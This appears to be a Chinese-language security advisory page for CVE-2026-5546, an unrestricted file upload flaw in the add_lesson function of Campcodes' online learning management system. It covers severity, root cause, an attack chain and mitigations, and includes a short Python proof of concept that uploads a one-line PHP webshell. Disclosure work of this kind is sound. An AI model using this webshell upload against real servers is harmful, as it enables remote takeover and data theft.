IPBUF安全漏洞报告
English
CVE-2026-5546 CVSS 6.3 中危

CVE-2026-5546 Campcodes OLMS 任意文件上传漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5546
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Campcodes Complete Online Learning Management System

相关标签

任意文件上传远程代码执行CampcodesOLMSWeb安全

漏洞概述

Campcodes Complete Online Learning Management System 1.0版本存在严重的安全漏洞。该漏洞位于`/application/models/Crud_model.php`文件的`add_lesson`函数中,由于系统未正确处理用户输入,导致出现不受限制的文件上传问题。攻击者可以利用此漏洞远程上传恶意文件,如Webshell或可执行脚本。由于无需复杂的用户交互且仅需低权限即可发起攻击,这极大地增加了被利用的风险。成功利用该漏洞可能导致服务器被完全控制、敏感数据泄露以及系统完整性受损,建议管理员尽快排查并修复。

技术细节

该漏洞的根本原因在于Campcodes Complete Online Learning Management System 1.0在实现课程添加功能时,缺乏对上传文件的安全校验机制。具体来说,`/application/models/Crud_model.php`文件中的`add_lesson`函数直接接收用户提交的文件数据,而未对文件扩展名、文件头(Magic Number)或MIME类型进行有效的白名单验证。攻击者可以通过构造HTTP POST请求,将包含恶意代码的PHP文件伪装成合法文件进行上传。一旦文件被上传到Web可访问的目录,攻击者即可通过浏览器直接访问该文件,从而在服务器端执行任意系统命令。根据CVSS向量分析,该漏洞攻击复杂度低(AC:L),无需用户交互(UI:N),且对机密性、完整性和可用性均造成低程度影响。

攻击链分析

STEP 1
侦察
攻击者识别目标为Campcodes Complete Online Learning Management System 1.0,并确认add_lesson接口存在文件上传功能。
STEP 2
武器化
攻击者编写包含恶意代码的PHP脚本(Webshell),准备用于上传。
STEP 3
交付
攻击者向`/application/models/Crud_model.php`中的`add_lesson`函数发送特制的HTTP POST请求,附带恶意文件。
STEP 4
利用
由于系统缺乏文件类型验证,恶意文件被成功保存到服务器Web目录中。
STEP 5
安装与执行
攻击者通过浏览器访问上传的PHP文件URL,在服务器端执行系统命令,获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target.com/index.php/lesson/add_lesson" # Malicious PHP shell payload php_code = "<?php system($_GET['cmd']); ?>" # Prepare the file upload payload # Exploiting the unrestricted upload in add_lesson function files = { 'lesson_file': ('exploit.php', php_code, 'application/x-php') } data = { 'title': 'Malicious Lesson', 'description': 'Uploading shell' } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Check the upload path to access the shell.") else: print("[-] Upload failed.") except Exception as e: print(f"Error: {e}")

影响范围

Campcodes Complete Online Learning Management System 1.0

防御指南

临时缓解措施
建议立即在`Crud_model.php`的`add_lesson`函数中添加文件后缀名和MIME类型检查逻辑。若无法立即升级,应临时禁用课程文件上传功能,或在Web应用防火墙(WAF)中添加规则,拦截对该接口的上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表